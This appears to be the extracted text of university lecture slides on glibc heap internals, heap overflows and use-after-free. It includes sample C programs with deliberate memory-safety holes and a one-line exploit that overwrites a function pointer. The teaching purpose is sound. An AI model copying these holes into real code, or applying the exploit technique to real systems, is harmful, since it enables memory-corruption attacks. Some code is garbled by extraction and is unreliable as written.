CSE 410/510 Special Topics: Software Security

Instructor: Dr. Ziming Zhao

Location: Norton 218 Time: Monday, 5:00 PM - 7:50 PM

Second Course Evaluation

Begins: 11/26/2021 Ends: 12/12/2021

If 90% of student submit the evaluation, everyone gets **8** bonus points. 44 students in total right now. So, we need 40 reviews.

Last class

- 1. Cache side channel attack
- 2. Meltdown
- 3. Spectre

https://meltdownattack.com/

Today

1. Heap and heap exploitation

Memory Map of Linux Process (32 bit system)



https://manybutfinite.com/pos anatomy-of-a-program-in-me mory/

The Heap

The heap is pool of memory used for dynamic allocations at runtime

- malloc() grabs memory on the heap
- **free**() releases memory on the heap

Both are standard C library interfaces. Neither of them directly mapps to a system call.

Malloc and Free Prototype

void* malloc(size_t size);

Allocates size bytes of uninitialized storage. If allocation succeeds, returns a pointer that is suitably aligned for any object type with fundamental alignment.

void free(void* ptr);

Deallocates the space previously allocated by malloc(), etc.

How to use malloc() and free()

```
int main()
      char * buffer = NULL;
     /* allocate a 0x100 byte buffer */
      buffer = malloc(0x100);
      /* read input and print it */
      fgets(stdin, buffer, 0x100);
      printf("Hello %s!\n", buffer);
      /* destroy our dynamically allocated buffer */
      free(buffer);
      return 0;
```

Heap vs. Stack

Неар

- Dynamic memory allocations at runtime
- Objects, big buffers, structs, persistence, larger things
- Slower, Manual
- Done by the programmer
- malloc/calloc/recalloc/free
- new/delete

Stack

- Fixed memory allocations known at compile time
- Local variables, return addresses, function args

Fast, Automatic; Done by the compiler – Abstracts away any concept of allocating/de-allocating

Heap Implementations

dlmalloc. Default native version of malloc in some old distributions of Linux (<u>http://gee.cs.oswego.edu/dl/html/malloc.html</u>)

ptmalloc. ptmalloc is based on dlmalloc and was extended for use with multiple threads. On Linux systems, ptmalloc has been put to work for years as part of the GNU C library.

tcmalloc. Google's customized implementation of C's malloc() and C++'s operator new (<u>https://github.com/google/tcmalloc</u>)

jemalloc. jemalloc is a general purpose malloc(3) implementation that emphasizes fragmentation avoidance and scalable concurrency support.

The **Hoard** memory allocator. UMass Amherst CS Professor Emery Berger

Which implementation on my laptop?

ldd --version

GLIBC 2.31

Ptmalloc2

https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c

→ heapfrees ldd --version ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31 Copyright (C) 2020 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Written by Roland McGrath and Ulrich Drepper.

Malloc Trivia

How many bytes on the heap are your *malloc chunks* really taking up?

- malloc(32);
- malloc(4);
- malloc(20);
- malloc(0);

code/heapsizes

```
int main()
{
  unsigned int lengths[] = {32, 4, 20, 0, 64, 32, 32, 32, 32, 32};
  unsigned int * ptr[10];
  int i;
  for(i = 0; i < 10; i++)
    ptr[i] = malloc(lengths[i]);
  for(i = 0; i < 9; i++)
    printf("malloc(%2d) is at 0x%08x, %3d bytes to the next pointer\n",
          lengths[i],
          (unsigned int)ptr[i],
          (ptr[i+1]-ptr[i])*sizeof(unsigned int));
 return 0;}
```

https://github.com/RPISEC/MBE/bl ob/master/src/lecture/heap/sizes.c

Heap goes from low address to high address



https://manybutfinite.com/pos anatomy-of-a-program-in-me mory/

code/heapsizes



code/heapsizes 32bit

→ heapsize	es .	./he	eapsizes32						
malloc(32)	is	at	0x5695b1a0,	48	bytes	to	the	next	pointer
malloc(4)	is	at	0x5695b1d0,	16	bytes	to	the	next	pointer
malloc(20)	is	at	0x5695b1e0,	32	bytes	to	the	next	pointer
malloc(0)	is	at	0x5695b200,	16	bytes	to	the	next	pointer
malloc(64)	is	at	0x5695b210,	80	bytes	to	the	next	pointer
malloc(32)	is	at	0x5695b260,	48	bytes	to	the	next	pointer
malloc(32)	is	at	0x5695b290,	48	bytes	to	the	next	pointer
malloc(32)	is	at	0x5695b2c0,	48	bytes	to	the	next	pointer
malloc(32)	is	at	0x5695b2f0,	48	bytes	to	the	next	pointer

code/heapsizes 64bit

→ heapsize	es .	./he	eapsizes						
malloc(32)	is	at	0xc91e02a0,	48	bytes	to	the	next	pointer
malloc(4)	is	at	0xc91e02d0,	32	bytes	to	the	next	pointer
malloc(20)	is	at	0xc91e02f0,	32	bytes	to	the	next	pointer
malloc(0)	is	at	0xc91e0310,	32	bytes	to	the	next	pointer
malloc(64)	is	at	0xc91e0330,	80	bytes	to	the	next	pointer
malloc(32)	is	at	0xc91e0380,	48	bytes	to	the	next	pointer
malloc(32)	is	at	0xc91e03b0,	48	bytes	to	the	next	pointer
malloc(32)	is	at	0xc91e03e0,	48	bytes	to	the	next	pointer
malloc(32)	is	at	0xc91e0410,	48	bytes	to	the	next	pointer

Malloc Trivia

How many bytes on the heap are your *malloc chunks* really taking up?

- malloc(32); 48 bytes (32bit/64bit)
- malloc(4); 16 bytes (32bit) / 32 bytes (64bit)
- malloc(20); 32 bytes (32bit/64bit)
- malloc(0); 16 bytes (32bit) / 32 bytes (64bit)

Malloc_chunk (ptmalloc2 in glibc2.31)

```
struct malloc_chunk {
    INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
    INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
    struct malloc_chunk* fd; /* double links -- used only if free. */
    struct malloc_chunk* bk;
    /* Only used for large blocks: pointer to next larger size. */
    struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
    struct malloc_chunk* bk.nextsize; /* double links -- used only if free. */
    struct malloc_chunk* bk_nextsize;
};
```

INTERNAL_SIZE_T is the same as size_t. 8 bytes in 64 bit; 4 bytes in 32 bits machine. Pointer is 8/4 bytes on a 64/32 bit machine, respectively.

https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c

Heap Chunks (figures in 32 bit)

buffer = malloc(0x100);

//Out comes a heap chunk

Previous Chunk Size: Size of previous chunk (if prev chunk is free)
Chunk Size: Size of entire chunk including overhead
Data: Your newly allocated memory / ptr returned by malloc
Flags: Because of byte alignment, the lower 3 bits of the chunk size field would always be zero. Instead they are used for flag bits.
0x01 PREV_INUSE – set when previous chunk is in use
0x02 IS_MMAPPED – set if chunk was obtained with mmap()
0x04 NON MAIN ARENA – set if chunk belongs to a thread arena

	Heap (Chunk
Previous Chunk Size (4 bytes)	Chunk Size ਜੂ (4 bytes) ^{ਯୁ}	Data (8 + (n / 8)*8 bytes)
		call sub_3140F3 jmp short loc_31308C
*(buffer-2)	*(buffer-1)	*buffer / CODE XREF: sub

code/heapchunks

void print_chunk(size_t * ptr, unsigned int len)

```
printf("[ prev - 0x%08x ][ size - 0x%08x ][ data buffer (0x%08x) ------> ... ] - from malloc(%d)\n", *(ptr-2), *(ptr-1), (unsigned int)ptr, len);}
```

int main()

```
{
```

{

```
void * ptr[LEN];
```

```
unsigned int lengths[] = {0, 4, 8, 16, 24, 32, 64, 128, 256, 512, 1024, 2048, 4096, 8192, 16384}; int i;
```

```
printf("mallocing...\n");
```

for(i = 0; i < LEN; i++)
ptr[i] = malloc(lengths[i]);</pre>

```
for(i = 0; i < LEN; i++)
print_chunk(ptr[i], lengths[i]);
return 0;}</pre>
```

Extended from https://github.com/RPISEC/MBE/bl ob/master/src/lecture/heap/heap_c hunks.c

mallocing			
[prev - 0x00000000][size - 0x00000011][data buffer ((0x57b665b0)>]	- fro	m malloc(0)
[prev - 0x00000000][size - 0x00000011][data buffer ((0x57b665c0)>]	- fro	m malloc(4)
[prev - 0x00000000][size - 0x00000011][data buffer ((0x57b665d0)>]	- fro	m malloc(8)
[prev - 0x00000000][size - 0x00000021][data buffer ((0x57b665e0)>]	- fro	m malloc(16)
[prev - 0x00000000][size - 0x00000021][data buffer ((0x57b66600)>]	- fro	m malloc(24)
[prev - 0x00000000][size - 0x00000031][data buffer ((0x57b66620)>]	- fro	m malloc(32)
[prev - 0x00000000][size - 0x00000051][data buffer ((0x57b66650)>]	- fro	m malloc(64)
[prev - 0x00000000][size - 0x00000091][data buffer ((0x57b666a0)>]	- fro	m malloc(128)
[prev - 0x00000000][size - 0x00000111][data buffer ((0x57b66730)>]	- fro	m malloc(256)
[prev - 0x00000000][size - 0x00000211][data buffer ((0x57b66840)>]	- fro	m malloc(512)
[prev - 0x00000000][size - 0x00000411][data buffer ((0x57b66a50)>]	- fro	m malloc(1024)
[prev - 0x00000000][size - 0x00000811][data buffer ((0x57b66e60)>]	- fro	m malloc(2048)
[prev - 0x00000000][size - 0x00001011][data buffer ((0x57b67670)>]	- fro	m malloc(4096)
[prev - 0x00000000][size - 0x00002011][data buffer ((0x57b68680)>]	- fro	m malloc(8192)
[prev - 0x00000000][size - 0x00004011][data buffer ((0x57b6a690)>]	- fro	m malloc(16384)
→ heapchunks ./heapchunks			
mallocing			
[prev - 0x00000000][size - 0x00000021][data buffer ((0x665046b0)>]	- fro	m malloc(0)
[prev - 0x00000000][size - 0x00000021][data buffer ((0x665046d0)>]	- fro	m malloc(4)
[prev - 0x00000000][size - 0x00000021][data buffer ((0x665046f0)>]	- fro	m malloc(8)
[prev - 0x00000000][size - 0x00000021][data buffer ((0x66504710)>]	- fro	m malloc(16)
[prev - 0x00000000][size - 0x00000021][data buffer ((0x66504730)>]	- fro	m malloc(24)
[prev - 0x00000000][size - 0x00000031][data buffer ((0x66504750)>]	- fro	m malloc(32)
[prev - 0x00000000][size - 0x00000051][data buffer ((0x66504780)>]	- fro	m malloc(64)
[prev - 0x00000000][size - 0x00000091][data buffer ((0x665047d0)>]	- fro	m malloc(128)
[prev - 0x00000000][size - 0x00000111][data buffer ((0x66504860)>]	- fro	m malloc(256)
[prev - 0x00000000][size - 0x00000211][data buffer ((0x66504970)>]	- fro	m malloc(512)
[prev - 0x00000000][size - 0x00000411][data buffer ((0x66504b80)>]	- fro	m malloc(1024)
[prev - 0x00000000][size - 0x00000811][data buffer ((0x66504f90)>]	- fro	m malloc(2048)
[prev - 0x00000000][size - 0x00001011][data buffer ((0x665057a0)>]	- fro	m malloc(4096)
[prev - 0x00000000][size - 0x00002011][data buffer ((0x665067b0)>]	- fro	m malloc(8192)
[prev - 0x00000000][size - 0x00004011][data buffer (0x665087c0)>]	- fro	m malloc(16384)

heapchunks ./heapchunks32

Heap Chunks – Two states (figures in 32 bit)

Heap chunks exist in two states – in use (malloc'd)



– free'd.
Forward Pointer: A pointer to the next freed chunk
Backwards Pointer: A pointer to the previous freed chunk
Implementation-defined.



code/heapfrees

```
void print_inuse_chunk(unsigned int * ptr)
```

```
printf("[ prev - 0x%08x ][ size - 0x%08x ][ data buffer
(0x%08x) ----> ... ] - Chunk 0x%08x - In use\n", \
*(ptr-2),
```

*(ptr-1), (unsigned int)ptr, (unsigned int)(ptr-2));

```
}
```

```
void print_freed_chunk(unsigned int * ptr)
```

```
{
```

printf("[prev - 0x%08x][size - 0x%08x][fd - 0x%08x][bk - 0x%08x] - Chunk 0x%08x - Freed\n", \

*(ptr-2), *(ptr-1), *ptr, *(ptr+1), (unsigned int)(ptr-2));

int main()

```
{
```

unsigned int * ptr[LEN]; unsigned int lengths[] = {32, 32, 32, 32, 32}; int i;

printf("mallocing...\n"); for(i = 0; i < LEN; i++) ptr[i] = malloc(lengths[i]);

for(i = 0; i < LEN; i++)
print_inuse_chunk(ptr[i]);</pre>

printf("\nfreeing all chunks...\n"); for(i = 0; i < LEN; i++) free(ptr[i]);

for(i = 0; i < LEN; i++)
print_freed_chunk(ptr[i]);</pre>

return 0;}

Heap-based Buffer Overflow

Heap Overflow

- Buffer overflows are basically the same on the heap as they are on the stack
- Heap cookies/canaries aren't a thing
 - No 'return' addresses to protect
- In the real world, lots of cool and complex things like objects/structs end up on the heap
 - Anything that handles the data you just corrupted is now viable attack surface in the application
- It's common to put function pointers in structs which generally are malloc'd on the heap

```
void secret()
```

```
printf("The secret is bla bla...\n");
```

void fly()

```
printf("Flying ...\n");
```

```
typedef struct airplane
{
```

void (*pfun)(); char name[20]; } airplane;

int main()

printf("fly() at %p; secret() at %p\n", fly, secret);

struct airplane *p1 = malloc(sizeof(airplane));
printf("Airplane 1 is at %p\n", p1);

struct airplane *p2 = malloc(sizeof(airplane));
printf("Airplane 2 is at %p\n", p2);

p1->pfun = fly; p2->pfun = fly;

fgets(p2->name, 10, stdin); fgets(p1->name, 50, stdin);

p1->pfun(); p2->pfun();

free(p1); free(p2); return 0;

	int main()			
	ر printf("fly() at %p; secret() at %p\n", fly, secret);		name (20)	Н
void secret() {	struct airplane *p1 = malloc(sizeof(airplane)); printf("Airplane 1 is at %p\n", p1);	Airplane 2	Pfun (4)	
<pre>printf("The secret is bla bla\n"); } void fly() { printf("Flying\n"); } typedef struct airplane {</pre>	struct airplane *p2 = malloc(sizeof(airplane));		Size (4)	
	printf("Airplane 2 is at %p\n", p2); p1->pfun = fly; p2->pfun = fly;		Prev_size (4)	
			name (20)	
	fgets(p2->name, 10, stdin); fgets(p1->name, 50, stdin);	Airplane 1	Pfun (4)	
ہ void (*pfun)(); char name[20]:	p1->pfun(); p2->pfun():		Size (4)	
} airplane;	free(p1):		Prev_size (4)	
	free(p2); return 0; }			L

	int main()				
	۱ printf("fly() at %p; secret() at %p\n", fly, secret);		name (20)	н	
void secret() {	struct airplane *p1 = malloc(sizeof(airplane)); printf("Airplane 1 is at %p\n", p1);	Airplane 2	Pfun (4)		
printf("The secret is bla bla\n"); } void fly() { printf("Flying\n"); } typedef struct airplane	<pre>struct airplane *p2 = malloc(sizeof(airplane));</pre>		Size (4)		
	printf("Airplane 2 is at %p\n", p2); p1->pfun = fly; p2->pfun = fly;		Prev_size (4)		
			name (20)		
	fgets(p2->name, 10, stdin); fgets(p1->name, 50, stdin);	Airplane 1	Pfun (4)		
۱ void (*pfun)(); char name[20]	p1->pfun(); p2->pfun():		Size (4)		
} airplane;	free(p1):		Prev_size (4)		
	free(p2); return 0; }				

Exploit looks like

python -c "print 'a\n' + 'a'*28 + '\x4d\x62\x55\x56'" | ./heapoverflow32

Use after free (UAF)

A class of vulnerability where data on the heap is freed, but a leftover reference or 'dangling pointer' is used by the code as if the data were still valid.

Most popular in Web Browsers, complex programs





Dangling Pointer

Dangling Pointer

- A left over pointer in your code that references free'd data and is prone to be re-used
- As the memory it's pointing at was freed, there's no guarantees on what data is there now
- Also known as stale pointer, wild pointer



Exploit UAF

To exploit a UAF, you usually have to allocate a different type of object over the one you just freed

void secret() printf("The secret is bla bla...\n"); void fly() printf("Flying ...\n"); typedef struct airplane void (*pfun)(); char name[20]; } airplane;

int main()

printf("fly() at %p; secret() at %u\n", fly, (unsigned int)secret);

struct airplane *p = malloc(sizeof(airplane));
printf("Airplane is at %p\n", p);
p->pfun = fly;
p->pfun();
free(p);

p = malloc(sizeof(car));
printf("Car is at %p\n", p);

int volume; printf("What is the volume of the car?\n"); scanf("%u", &volume); ((struct car *)(p))->volume = volume;

p->pfun(); free(p); return 0;